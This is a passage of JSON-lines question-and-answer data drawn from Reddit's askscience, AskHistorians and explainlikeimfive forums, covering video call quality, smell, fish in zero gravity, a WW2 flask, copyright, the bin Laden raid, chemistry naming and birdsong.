probably talking about video calls on your phone, which don't really have the most amazing hardware compared to what pro streamers would have.", "A very simple answer is that for a video call the computer needs to process that video information and compress it to a smaller format to send over the internet VERY QUICKLY since the call is in essentially real time. To allow for a wide range of devices to be able to do this, it compromised on quality because good quality compression takes either time or a lot of computer power.\n\nStreamers don't have this problem because live streams are delayed by a few seconds (and don't have to receive information, just send) and streamers usually have powerful hardware especially for streaming so they can output good quality video.", "Hey there. Twitch streamer here.\n\nWhen I stream, I'm usually spending 20 mins before perfectly tweaking my lighting for the evening. That's a big key part of my camera quality. Even a $20 camera can look decent with the right lighting system. Most people on face time aren't sitting in the \"sweet spot\" with a 3 point lighting system.\n\nThe other factor that covers the game window and all other aspects of the stream is the bitrate. Highest you can UPLOAD your stream on twitch before partner is 6Mbps ish. So the software compresses the raw image into one that can fit onto 6megabits (per second), which actually reduces the quality from the raw (my stream raw is closer to 40megabits than 6).\n\nWeb calls are often around 1 megabit to account for the fact they may be on a cellular network, want a lower delay etc, so the compression (which reduces the quality) is way more aggressive.", "So when it comes down to it, the quality of sound on phone calls is actually pretty abysmal. \n\nYou don't really hear complaints about this because people don't listen to orchestra over the phone. The low quality is perfectly suitable for its purpose. \n\nIn similar vein, The video call quality is poor, because there is little incentive for the developer to make it great, there is however, high incentive for him to make it work with shit connections on shit computers. So focus is put on stuff like compression and keeping bandwidth down."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "25wvst", "title": "When something smells, is it losing mass? If so, does something that has a stronger smell than another thing losing mass quicker?", "selftext": "I was thinking about how smell is measured in parts per million (ppm), but where do those parts come from? If they're coming off of an item, then that item must be losing mass, right? I understand we're talking about incredibly minute amounts of mass.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/25wvst/when_something_smells_is_it_losing_mass_if_so/", "answers": {"a_id": ["chlkpoa", "chlkqbt", "chlnezy"], "score": [1227, 78, 59], "text": ["Yes, in order to smell something, it has to be sufficiently [volatile](_URL_0_) that at least a little bit can diffuse through the air and get to your olfactory receptors.\n\nHowever, it's not necessarily true that something with a stronger smell is more volatile, because those receptors can have very different sensitivities to different substances, by many orders of magnitude.", "Yes, if you smell something solid or liquid, that something is losing mass into the air. What you smell comes from volatile (prone to evaporation) chemicals.\n\nPure ethanol is an easy example. If you have pure ethanol in liquid form, it evaporates and you can smell it. It will eventually completely evaporate. But the odor is very mild unless you're right on top of it.\n\nMany smells will not result in obvious evaporation for a long time because the evaporation rate is lower. However the smell for slowly evaporating odorants can still be very strong if the amount of odor per concentration of odorant is very high. Different chemicals, different intensity of smell for the same parts per million.", "I am not sure how to ask without coming off as vulgar, but this question made me think of another that I sometimes think on.\n\nBased on the answers to this question, does that mean that when we are smelling feces we are actually breathing in fecal particles (even though they are tiny)? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Volatility_(chemistry\\)"], [], []]}
{"q_id": "1adazy", "title": "How do sound waves bend this water?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1adazy/how_do_sound_waves_bend_this_water/", "answers": {"a_id": ["c8wc5tl"], "score": [2], "text": ["The water isn't being bent.  It's a stroboscopic effect due to the 24 frame per second camera.\n\nThe hose is pulsing back and forth with such consistent regularity that it APPEARS that the water is standing still, flowing in a zig zag.  In reality, it's flowing normally in a haphazard spray.  The camera is just catching it at the same place in the cycle every frame. As you change the frequency of the vibration, the camera catches the water at a slightly different position than it did before.\n\nAnother hilarious example of the stroboscopic effect:\n\n_URL_0_\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.youtube.com/watch?v=rVSh-au_9aM"]]}
{"q_id": "k0bdu", "title": "Would fish in an aquarium in a 0 gravity environment all swim with different orientations?", "selftext": "I have an understanding that fish all swim the right way up because they have a swim bladder. What would happen if an aquarium filled with fish were put into a 0g environment? Would the fish start swimming sideways and upside down in relation to other fish in the aquarium? Has anyone actually tried this?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/k0bdu/would_fish_in_an_aquarium_in_a_0_gravity/", "answers": {"a_id": ["c2gj6fo", "c2gj8az", "c2gjiff", "c2gjjjw", "c2gk50d", "c2gknnv", "c2gmuxw", "c2gj6fo", "c2gj8az", "c2gjiff", "c2gjjjw", "c2gk50d", "c2gknnv", "c2gmuxw"], "score": [17, 41, 203, 14, 18, 35, 2, 17, 41, 203, 14, 18, 35, 2], "text": ["_URL_0_\n\nNot sure if they actually did the experiment or not yet.", "if I might add a question to be answered:\n\n\nI'd like to know if behavioral tendencies would also play a role in their orientation? (e.g. would schooling fish all swim in the same orientation/direction in zero g?)", "Good question. It has been tried and it seems there is a lot of literature on this very subject. Some results:\n\n* _URL_3_\n* _URL_5_\n* _URL_0_\n* _URL_2_\n* _URL_4_\n* _URL_1_\n\nThey can also sort-of simulate it with fishes deprived of their gravity-sensing mechanisms:\n* _URL_6_\n\nRelevant quotes:\n > In normal birds and fish who can move three-dimensionally in their environments, exposure to parabolic flight microgravity induces irregular tumbling with the eyes open and regular looping with the eyes closed, although the loop direction is the opposite in these two animals; backward (inside) in pigeon and forward (outside) in fish. Most recently, however, it was found that normal fish (goldfish) tumbled backward when observed in prolonged microgravity in space, suggesting that microgravity effects on fish in aircraft-flight parabolas would differ from those in space. Sensory conflicts in normal fish diminish remarkably during 3-4 days of space microgravity, and the cerebellum may be involved in the recovery, lending support to the sensory conflict theory for the genesis of space motion sickness.\n\n", "A fish in the water on earth is able to swim by controlling the amount of gas in their swim bladder. Due to the effects of gravity and buoyancy the fish can control it's orientation. \n\nIn space there are no directions or point of reference for the fish and no gravity to direct it, so I guess the fish wouldn't be able to swim at all, just float to the nearest edge of the sphere of water.\n\nAlso related: _URL_0_\nPlants grown in 0G are unable to define up and down, and grow their roots everywhere, because the liquid inside the seed doesn't know where to orient itself due to lack of gravity. In a way, the fishes situation could be similar.", "Hmm, would be interesting to see a bird in zero gravity...", "I'd also like to ask a follow-up question:\n\nI had read many years ago that it was possible to keep fish in 100% humidity AIR (in zero-g). This was because gills can extract oxygen from air if they are not subject to collapse from gravity. Is this true?", "Great experiment!  Let's do it", "_URL_0_\n\nNot sure if they actually did the experiment or not yet.", "if I might add a question to be answered:\n\n\nI'd like to know if behavioral tendencies would also play a role in their orientation? (e.g. would schooling fish all swim in the same orientation/direction in zero g?)", "Good question. It has been tried and it seems there is a lot of literature on this very subject. Some results:\n\n* _URL_3_\n* _URL_5_\n* _URL_0_\n* _URL_2_\n* _URL_4_\n* _URL_1_\n\nThey can also sort-of simulate it with fishes deprived of their gravity-sensing mechanisms:\n* _URL_6_\n\nRelevant quotes:\n > In normal birds and fish who can move three-dimensionally in their environments, exposure to parabolic flight microgravity induces irregular tumbling with the eyes open and regular looping with the eyes closed, although the loop direction is the opposite in these two animals; backward (inside) in pigeon and forward (outside) in fish. Most recently, however, it was found that normal fish (goldfish) tumbled backward when observed in prolonged microgravity in space, suggesting that microgravity effects on fish in aircraft-flight parabolas would differ from those in space. Sensory conflicts in normal fish diminish remarkably during 3-4 days of space microgravity, and the cerebellum may be involved in the recovery, lending support to the sensory conflict theory for the genesis of space motion sickness.\n\n", "A fish in the water on earth is able to swim by controlling the amount of gas in their swim bladder. Due to the effects of gravity and buoyancy the fish can control it's orientation. \n\nIn space there are no directions or point of reference for the fish and no gravity to direct it, so I guess the fish wouldn't be able to swim at all, just float to the nearest edge of the sphere of water.\n\nAlso related: _URL_0_\nPlants grown in 0G are unable to define up and down, and grow their roots everywhere, because the liquid inside the seed doesn't know where to orient itself due to lack of gravity. In a way, the fishes situation could be similar.", "Hmm, would be interesting to see a bird in zero gravity...", "I'd also like to ask a follow-up question:\n\nI had read many years ago that it was possible to keep fish in 100% humidity AIR (in zero-g). This was because gills can extract oxygen from air if they are not subject to collapse from gravity. Is this true?", "Great experiment!  Let's do it"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.jamaipanese.com/japan-to-launch-fish-into-orbit/"], [], ["http://www.ncbi.nlm.nih.gov/pubmed/12528673", "http://www.ncbi.nlm.nih.gov/pubmed/11542851", "http://www.ncbi.nlm.nih.gov/pubmed/11541769", "http://www.ncbi.nlm.nih.gov/pubmed/12530412", "http://www.ncbi.nlm.nih.gov/pubmed/8725490", "http://www.ncbi.nlm.nih.gov/pubmed/12703531", "http://www.ncbi.nlm.nih.gov/pubmed/15000112"], ["http://spaceflight.nasa.gov/station/crew/exp6/spacechronicles13.html"], [], [], [], ["http://www.jamaipanese.com/japan-to-launch-fish-into-orbit/"], [], ["http://www.ncbi.nlm.nih.gov/pubmed/12528673", "http://www.ncbi.nlm.nih.gov/pubmed/11542851", "http://www.ncbi.nlm.nih.gov/pubmed/11541769", "http://www.ncbi.nlm.nih.gov/pubmed/12530412", "http://www.ncbi.nlm.nih.gov/pubmed/8725490", "http://www.ncbi.nlm.nih.gov/pubmed/12703531", "http://www.ncbi.nlm.nih.gov/pubmed/15000112"], ["http://spaceflight.nasa.gov/station/crew/exp6/spacechronicles13.html"], [], [], []]}
{"q_id": "4eu4ld", "title": "My grandfather left me this flask in his will, and I have been trying to find out more information about it. I am unsure if this is the right place.", "selftext": "My grandfather claimed that this was a flask that belonged to a German Officer during WW2, and it was something he took during his time deployed way back then. Are there any identifying features or markings that stand out? \n\n_URL_1_\n\nI am unsure of what the markings at the bottom mean.\n\n_URL_0_\n\nThe object on the right side is a lighter that no longer works\n\n_URL_2_\n\nAny help would be appreciative ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4eu4ld/my_grandfather_left_me_this_flask_in_his_will_and/", "answers": {"a_id": ["d23igwf", "d23nim9", "d23sg87", "d23y97y", "d23zrlc", "d2428kz", "d24n86d"], "score": [753, 157, 2, 18, 5, 11, 4], "text": ["Hi, I work in antiques.\n\nThe marking on the bottom are called hallmarks. The '006' you can see is actually  '900'. This means it is 900/1000 parts silver. The other two marks flanking the 900 will most likely tell you who the manufacturer of the flask was, and from what city. However they are quite worn and it is hard to tell in this case.\n\nRegardless, this would be worth several hundred dollars at least, if you ever tried to sell it.", "Building upon /u/critically_analyse 's earlier answer, your flask is a bit of German kitsch although I don't know much about the actual authenticity of the flask from that period. For that you would have to consult with an antiques dealer who specializes in the period.\n\nPatriotic kitsch was popular amongst the Victorians, who were the foremost producers of objects of this ilk. The Germans, who were intrinsically Anglophilic throughout the 19th century, quickly followed suit. There were several workshops that specialized in patriotic items whose breadth in scale could range from simple porcelain items to rather [sophisticated bud vases that imitated artillery pieces](_URL_1_). Your piece, however, is a specialized form of kitsch referred to as \"trench art.\"\n\nTrench art was a form of manufacturing that made due with ersatz materials available at the time. In my estimation, it probably took off around 1916 across the Continent although its true apogee was in the inter-war period stemming from 1919-1938. Trench art was somewhat of a dark, humorous take on violent objects that were repurposed for decorative use and virtually all of them have some sort of memorial or patriotic element. It could also, uniquely, be made by virtually anyone and tons of soldiers produced trench art as did private manufacturers. [This is an example of a clock that is considered trench art](_URL_0_).\n\nTrench art has a fairly small following of collectors. If you're in no great need of money, I'd frankly keep the piece for sentimental reasons although I'm not sure that it would command much more than the silver melt cost. Again, I'm not an antiques dealer specializing in trench art or Second World War militaria so your best bet is to contact someone in the field for a full appraisal.\n\nEdit: Last comment. Your hallmarks *may* be hard to read because they were intentionally destroyed. Several pieces of metal that were stamped with the Reichsadler were intentionally marred before they could be brought home as war booty. This would explain why the silver content mark is left blank while the others are hard to decipher.", "What is that bullet shaped thing attached to the flask? Is it a mini drinking cup?", "Note to OP, I know others have said it, but do not attempt to clean this thing.  Tarnish can be removed without rubbing via chemical processes, and if you or your descendants ever decide to sell it, any cleaning not done by a professional is going to probably damage it in some way.", "r/whatisthisthing is probably more appropriate for finding information about something like this. ", "There's a great website at _URL_0_ that has compiled a huge list of world hallmarks, assay marks, and maker's and city marks throughout modern history. You may find your info there. Remember, German officers in the early 20th  century traveled as far east as Moscow, as far south as Rwanda, and as far south and east as the USA, Argentina and Uruguay. Don't limit your search to German silversmiths. It's as likely that this is was originally built in Sheffield, England as is that it was made in Mexico City. \n\nOne thing to consider is that particularly among the officer corps, before the war German officers and other aristocracy were very likely to have traveled abroad as private citizens, particularly in western Europe, Great Britain and southern Europe, as well as anywhere Germany had colonies or embassies.  The fact that they were, for the most part, the landed gentry with historical traditions of military service also means that things such as this may well have been handed down or modified with the swastika regalia after the original owner or an elder brother, father, or uncle carried it in WWI or between the wars. The lighter appears similar to WWI \"trench lighters\", but they were certainly not unique to the war. You might expand your search the web for \"unusual antique hip flask\", \"whiskey flask\", \"silver trench lighter\", \"whiskey flask and cigarette lighter\", \"modified hip flask\", and so on in various combinations.  \n\nAs another commenter pointed out, the 600 is a 900, so flip it around several directions when comparing marks. Also, the mark on the right side of the \"600\" (in the second image) appears to be a double strike, so if you can use your imagination to figure out what the shape was before it was double struck, you might have better luck. \n\nThe other mark could be anything, but the bit with the four spikes radiating from it at the 1 o'clock position of the mark could well be a miniature SS death head (skull and crossbones), above some other four element mark.\n\nHope some of this helps. ", "Thank you to everyone for all your replies and informative answers! I had no idea this would blow up so much. I don't have any intention right now to sell the Flask, I just wanted to see if there were ways I could find more information about it. Again, thank you again!"]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/0fYn1OK.jpg", "http://i.imgur.com/9b6EDaP.jpg", "http://i.imgur.com/h1eN6Nn.jpg"], "answers_urls": [[], ["http://artofthegreatwar.info/trench-art/trench-art-miscellaneous/", "http://derrittmeister.com/productpages/18215.htm"], [], [], [], ["http://www.925-1000.com/index.html"], []]}
{"q_id": "4s2l81", "title": "in an era of paid dlc and season passes, how can video games like minecraft and terraria continue to release free content without losing money?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4s2l81/eli5_in_an_era_of_paid_dlc_and_season_passes_how/", "answers": {"a_id": ["d55znt4", "d561120", "d56iho9"], "score": [8, 19, 2], "text": ["Minecraft is a cheap game. It has a much smaller team than AAA games. There are only a handful of people making Minecraft. AAA studios can have hundreds of people making the game itself, and thousands if you include all the localization, porting, and marketing people. Paying all those people costs lots of money. To make enough to pay everyone involved, and have a profit on top, takes lots of money. So AAA publishers resort to DLC and season passes, whereas cheaper games like Minecraft don't need to.", "Many large titles are in debt by the time they release, and expect sales and recurring income streams to repay that deficit. This was not the case for Minecraft, which started selling to customers (at a reduced price) very early in the development cycle. Also, Markus Persson (Notch) maintained a day job during the first few months.\n\nCurrently, Minecraft continues to make money by selling new copies of the game. Between its appeal to a young demographic (which is likely to rely on parents buying the game) and the newer mobile version, these sales are less impacted by piracy, and the secondhand (used game) market is nonexistent.\n\nThere's also an additional income stream from Mojang's Minecraft Realms server-hosting, and I possibly some noteworthy licensing fees from all of the assorted merchandise.", "Games like Minecraft and Terraria make most/all of their game from new copies being sold. It takes money to develop content, but these content updates drive more people to buy the game, and new purchases of the game fund future updates (or pay for past updates). "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2vsfrt", "title": "what is the difference between borrowing a dvd my friend owns or pirating the content myself?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2vsfrt/eli5_what_is_the_difference_between_borrowing_a/", "answers": {"a_id": ["coki639", "coki79u", "cokic87", "cokix9x"], "score": [75, 5, 3, 9], "text": ["Your friend has been deprived of the ability to watch the DVD himself.  There is only one watchable copy that's getting passed around.  If your friend wants to see the movie, he needs it back.  There can be only one person viewing the DVD at a time.\n\nThis creates scarcity.  If the two of you want to see the movie at the same time, a second copy must be purchased.  That's different than pirating the content.  When you pirate, the number of views is limitless.", "When you borrow a DVD from your friend, he no longer has the DVD.  There's still only one copy of the movie.\n\nWhen you pirate the content, you create a new copy, and now you have the DVD, and the original owner also has the DVD.  This is a violation of copyright law (i.e., you don't have the *right* to make a *copy* of the DVD).", "I would say the difference is that when you borrow the dvd, during the time you have it he is deprived of it.  Borrowing like that does not alter how many dvds are in circulation, or the relative value of it.  The creator/legitimate distributor of it has been compensated equal to the number of units in circulation.\n\nPirating the content, such as by downloading a copy of it, increases the number that are in circulation which means that the creator/legitimate distributor of the content is not reimbursed corresponding to the quantity of the content currently in circulation.\n\nAt least that's the way I see it.", "Copyright says that only the creator of the work has the legal right to copy it.\n\nThe first sale doctrine says that you can pretty much whatever you want with a physical copy.\n\n...now you know why so many people in the industry want to go to online distribution.  Without a physical copy, you *can't* lend it to your friend."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2ogoll", "title": "why do online companies roll out new features to a seemingly random set of users until everyone has the feature? wouldn't it make more sense for everyone to be initiated all at once into the new site as soon as there's an update?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ogoll/eli5_why_do_online_companies_roll_out_new/", "answers": {"a_id": ["cmmxo93", "cmmxrm4", "cmmyupz"], "score": [11, 4, 3], "text": ["Mostly to test and make sure it actually works as intended.  It's a lot easier to roll back a small user population than millions of people.", "It is easier to manage the feedback and error reports when the population is very small. Check out Eric Ries' *Lean Startup* for more details on why this is the preferred approach. Some companies may test a dozen different changes at the same time across a dozen or more different user groups.", "If you are thinking very large sites like Facebook or reddit, it's because there are generally houndreds, or thousands (or more) servers and it's big money on the line. If there are issues with the feature they risk crashing their entire business. Often times issues that you'd never dream of show up under large scale traffic and data.  There's always testing and qa, but in high scale websites there's no way to generate the type of load and traffic google, facebook, reddit get. \n\nTldr: running big sites is way different than running a simple website with a few servers"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2nsnqn", "title": "why has fandom in all things star trek always seemed more niche and less mainstream than star wars?", "selftext": "As someone who's not a huge fan of either franchise, I wonder why despite both being huge sci-fi pop culture phenomenas spanning decades, it's always seemed to me to be less geeky and niche to be a Star Wars fan vs Star Trek fan ( or Trekkie) even with the release of the reboot films.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2nsnqn/eli5why_has_fandom_in_all_things_star_trek_always/", "answers": {"a_id": ["cmghbxm", "cmghygg"], "score": [16, 2], "text": ["Honestly? Star Trek its more sophisticated and mature than Star Wars. Star Wars is simple enough to appeal to a wider audience, including children, because it's easier to understand. It's more like a fairy tale. Star Trek originally was a social commentary on the ideal economy (no currency) and goal of eradicating racial/cultural prejudices. Not as many people can understand that, or find it to be interesting.", "Star Trek has way more of a basis in plausibility too.  They take efforts to have some basis in science and not just explain things away as magic.  Usually.  Although there is a fair amount of technobabble."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "65n9f7", "title": "in chemistry, what's the difference between \"-ite\", \"-ide\", and \"-ate\"?", "selftext": "AFAIK they're all salts, but what is the significance of the different suffixes? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/65n9f7/eli5_in_chemistry_whats_the_difference_between/", "answers": {"a_id": ["dgbne0v", "dgbnzj8"], "score": [81, 10], "text": ["-ide is typically nonmetal compoundes (sodium chlorIDE). -ate is an ion with the largest number of oxygen ions, while -ite is used for a smaller number of oxygen ions (NO2 = nitrite NO3 = Nitrate)\n\nFor more fun, lets look at chloride:\n\nCl =  Chloride\n\nClO = HYPOchlorITE\n\nClO2 = chlorITE\n\nClO3 = ChlorATE\n\nClO4 = PERchlorATE\n\nEDIT:\n\nA silly way to remember this is that the hungry hippo -ATE the one with more oxygens (substitute any rediculous animal to assist in making a mental image)", "For halogen anions, *-ide* basically denotes the simplest possible ion that can be made from that atom, involving that atom only. Chloride, for instance, would be Cl-.\n\nBeyond that, who can start attaching oxygen atoms to form oxoanions. The convention for these is that *-ite* denotes two more oxygen atoms than *-ide*. Chlorite would be ClO2-. *Hypo-...-ite* means one fewer oxygen than *-ite*, or in other words, one more oxygen than *-ide*. Hypochlorite is ClO-.\n\n*-ate* is *-ide* plus three oxygen atoms (Chlorate = ClO3-) and *per-...-ate* is *-ate* plus one more oxygen, or in other words, four more than *-ide*. (Perchlorate = ClO4-)\n\nTo recap:\n*-ide*: 0 oxygens (Cl-)\n*hypo-...-ite*: 1 oxygen (ClO-)\n*-ite*: 2 oxygens (ClO2-)\n*-ate*: 3 oxygens (ClO3-)\n*per-...-ate*: 4+ oxygens (ClO4-)\n\nThe exact numbering of the nomenclature is a little different for other groups besides halogens - e.g. sulfate is SO4-2, rather than SO3-2 as you might expect from the name (SO3-2 is sulfite) - but it still follows the pattern of *per-...-ate*  >  *-ate*  >  *-ite*  >  *hypo-...-ite*  >  *-ide*."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "yo6l0", "title": "why was it legal for the us military to travel to pakistan (a country it is not at war with) to kill bin laden without having to let the pakistani government know about it beforehand?", "selftext": "Wouldn't this be a violation of Pakistan's sovereignty? Had Bin Laden been hiding out in China; would the US have done the same?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/yo6l0/eli5_why_was_it_legal_for_the_us_military_to/", "answers": {"a_id": ["c5xbsqh", "c5xc30f", "c5xc4x8", "c5xc755", "c5xc7f9", "c5xd975", "c5xdqih", "c5xfgyj", "c5xg4gw", "c5xgosj", "c5xhy1n", "c5xjm6n"], "score": [19, 8, 2, 5, 30, 3, 5, 10, 2, 8, 2, 7], "text": ["Oh. This one is easy: it wasn't. But we're big. And we give them lots of money. ", "It wasn't. We should have asked Pakistan's premission, but because of the very limited window, the risk of insiders, and because we are the US of fucking A we had to step on some toes and just go right in. \n\nPerk of being the world superpower. ", "Pakistan routinely sponsors incursions into Afghanistan and India. With this case, they got a taste of their own medicine.", "Lets first start off with a definition:  A law is a rule made by a government, which can be and is enforced.\n\nThe last part is important. The \"international laws\" as they stand today can't reasonably be enforced.  That is to say, International Law is bullshit. \n\nSo, it was a violation of Pakistan's national sovereignty to enter Pakistani airspace, that's not in dispute.  It was also nominally a violation of international law.  But what it comes down to is...\n\nWho the fuck is going to do anything about it?  Of course Pakistan is pissed, and to an extent, rightfully so.  However, they can't make too large a kerfuffle about it, because it *is* Osama Bin Laden, after all.\n\nSo, while they can wring hands and complain about us violating their national sovereignty, they can't make too big of a stink about it, and more than that even if they did, no one - and I mean no one - is going to hold the US truly accountable for it.  \n\nOne, because no one can, and two, because the political willpower isn't there.  No matter how much good will the US has squandered over the last decade, this is a man who orchestrated mass murder on a ridiculous scale, and attacked civilians in an act of terrorism.  ", "There is really no such thing as legal when it comes to international affairs.\n\nThe US made a calculated response that the diplomatic fallout was worth it.  And the fact that Pakistan was harboring him after repeatedly insisting he wasn't in the country, that help the US's case.\n\nIf he were in China, the diplomatic and possible military fallout would be too great, so it is unlikely the US would have acted overtly.", "Just as a follow-up question; how hard is it to avoid US efforts to trace your whereabouts for 10 years?", "might makes right. ", " > For legal reasons (namely that the U.S. was not at war with Pakistan), the military personnel assigned to the mission were temporarily transferred to the control of the civilian Central Intelligence Agency.\n\n_URL_0_", "The legal argument for the US is that Bin Laden was an Enemy Commander, and that killing him was an act of self-defence, and thus they were legally able to violate sovereignty. \n", "The argument goes like this: by harboring Osama Bin Laden, Pakistan was either\n\n- knowingly in collusion with an organization actively involved in violent acts against countries around the world, or\n\n- incapable of enforcing its own sovereignty, and therefore incapable of protecting its own neutrality\n\nin this view, Pakistan was not a neutral party any more and action was justified. As others have pointed out, international law is not like other law, and there is no final arbiter deciding whether this was legally or morally right.", "US Nukes can wipe out Pakistan. Pakistani nukes can't reach the US. ", "I've never seen a more appropriate place to use the term \"Because Fuck you, That's why.\"  \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Death_of_Osama_bin_Laden#Execution_of_the_operation"], [], [], [], []]}
{"q_id": "4b94du", "title": "why do we see a blur when looking directly at a black light lamp?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4b94du/eli5_why_do_we_see_a_blur_when_looking_directly/", "answers": {"a_id": ["d1728ru"], "score": [6], "text": ["There's a few reasons that this might occur, and it might depend on the actual light type and your own eyesight- if you're myopic, for example.\n\nThere's an interesting discussion on this topic with many more sources than I could provide easily here on /r/askscience, and it goes into a number of specific scenarios and provides some sources.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/askscience/comments/3c1qsg/why_do_blacklights_look_fuzzyblurry/"]]}
{"q_id": "2marqz", "title": "Two questions. When an animal (eg. a bird) \"sings\" can it be quantified into musical notes and if so does it fit into a conventional musical key like human songs? Do animals recognize/ appreciate human music? - i.e. can they differentiate when notes are 'out of key'/ 'off key' etc.?", "selftext": "I have two guinea pigs and I play the guitar (acoustic) and sing a lot. Sometimes I'm loud but I see that they tend to fall asleep when I play. So it got me thinking, is it possible that music is soothing to them? When I thought about it some more, I came up with the above questions that I posted.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2marqz/two_questions_when_an_animal_eg_a_bird_sings_can/", "answers": {"a_id": ["cm2nsk8", "cm2o3bz", "cm2p9sw", "cm2pb2o", "cm2pffg", "cm2prp8", "cm2pxr6", "cm2qnrr", "cm2qowe", "cm2s37q", "cm2tt5t", "cm3ahe6"], "score": [145, 5, 5, 3, 4, 9, 6, 28, 2, 2, 5, 2], "text": ["First off you must understand the concepts of relative and absolute tonalities.  Most musicians have relative pitch, meaning they may know that Help by the Beatles is in the key of A and be able to sing the song properly, but without being given a correct starting pitch, they might sing it in the key of G.  All the notes they sing would be intervalically correct, but wouldnt be the same pitches in the recording.  The difference between G to A and A to B are equivalent, but the notes themselves are different.\n\nThat's relative pitch.  Birds sing with fairly consistent relative pitch, but they have no idea if they are singing a C, a B, or something in between.  Also, many bird tunes only consist of 2 or 3 notes.  It is hard to determine tonality in a definitive way with only a few notes.  Yes, it could be written down in notation, the hardest part would be rhythm, since bird tunes are often rhythmically free.", "you might find the following pertinent to your question:  \n_URL_1_    \n\n_URL_0_", "We use the 12-tone scale because the 12 tones are pretty close to, though not quite the same as, the overtones (harmonics) for any given tone. Harmonies sound like harmonies because of the undertones created when the sound waves collide. (And on a piano/guitar, those harmonies aren't 100% perfect because, again, harmonics.)  So, it makes sense that animals would be \"soothed\" by harmonic tones and irritated by dissonances.  It makes sense that our chord progressions might sooth them for the same reasons. Maybe.\n\nThere's nothing special at all about our popular A=440 tuning, and in fact, some orchestras use a different tuning.", "I believe [this](_URL_0_) is an article on the subject that might help in your discovery for an answer :)\n\n\n(please excuse lame Smithsonian Mag Ads)", "You could try to quantify it, but it may not be exact.  _URL_0_ shows the absolute frequencies for musical intonations.  Note that it is not a continuum.  That means there are sounds that are between notes.\n\nAb - >  A is a half step.  Bb - >  B is also a half step.  It is possible to hum a note that is slightly flatter than Ab followed by one that is slightly sharper than B which would give a jump of  >  1 step.  You can't really manifest a jump like that adequately in our system of music.  You would have to \"round up\" or \"round down\" to the nearest note, hence losing some of the fidelity of the original bird song.", "The pitch of birdsongs vary smoothly, but musical notes are separated into discrete steps, so you can't exactly replicate a birdsong with music. Birdsong could be approximated with musical notes by snapping the bird's pitch to the closest musical note -- kind of like what Auto-Tune does. You can [Auto-Tune human speech](_URL_1_), but I haven't found any examples of Auto-Tuned birds.\n\nAnimals don't understand human music, and definitely wouldn't know if a note is in key or out of key. Even for a human, it would be difficult to recognize in/off key notes in [unfamiliar forms of music](_URL_0_).\n\nI think it's POSSIBLE, though I have no sources on this, that maybe animals could recognize simple features of music like a repeated beat or octaves. ", "I can't answer the second part of your question, but many composers have been fascinated by birdsong. [Olivier Messiaen](_URL_0_) transcribed numerous birdsongs and used them in his music. There are some examples of the notation on the wiki page.", "Answering your second question: Not really, but...\n\nIn several studies Pigeons have successfully been trained to distinguish music styles (Bach vs. Hindemith). In plain words the Pigeons were conditioned to show different reactions to certain pieces of both composers. Later on, on top of those music pieces from the training sessions, they could even *distinguish new pieces* they had never heard before. They \"recognized\" each composer's style.\n\nThis is a trained *stimulus discrimination*. The pigeons can learn to discriminate between complex stimuli (has also been done with painting styles: Monet vs. Picasso). So this is \"just\" the result of an operant conditioning procedure and not the Pigeons appreciating human music/ arts.\n\nSorry, I couldn't find the original sources...\n_URL_0_\n\nEdit: found this source:\n_URL_1_", "Animals have no sense of musical notes, at least not the way humans perceive them. To begin they have no notion of octave, which is fundamental for the understanding of music. Most of the animal world uses grunts, chirps and screams to communicate, and in most cases the key aspect of these vocal messages is intensity. Usually it's not difficult to discern a warning grunt from a mating call, a cry for help of an abandoned baby, or a sign of contempt when an abundance of food is found. These sounds have a purpose, which is to carry information.\n\nA bird's song is the closest thing to human music, but we shouldn't be fooled by its appearances. The song of a bird is usually a complicated phrase, that has a distinct beginning and end, and is usually repeated over and over. More complicated songs tend to attract females, so it's not completely without purpose. Birds incorporate bits from the local environment, including stealing from other feathery artists, but also imitating other animals or humans. This is why songs of same species differ in distant locations. But don't be fooled by the similarity - a bird's song has no discernible rhythm and the intervals are random and not based on octave. Birds can learn to sing human melodies, but it's only based on repeating the model sound, not actually learning the rules of human music. Usually bits learned from humans are mixed with other chirps and whistles, and variations on the melodies seem random.\n\nThis being said, we have the two parts of music that can convey something: the intensity, which is usually recognized by all species sporting ears, and the meta-information, which is the structure of the melody and rhythm, which is only understood by humans. Your guinea pigs may be soothed by the soft playing of your guitar, but they probably won't be moved by your rendition of Songbird. \n\nIt's also possible that if you're playing loud and bad, they are so terrified, that they stand still in hope to survive the cacophony :)", "As you may or may not know, every note has a specific wavelength with a frequency. The higher the value of this frequency, the the higher the sound. [Video](_URL_0_). 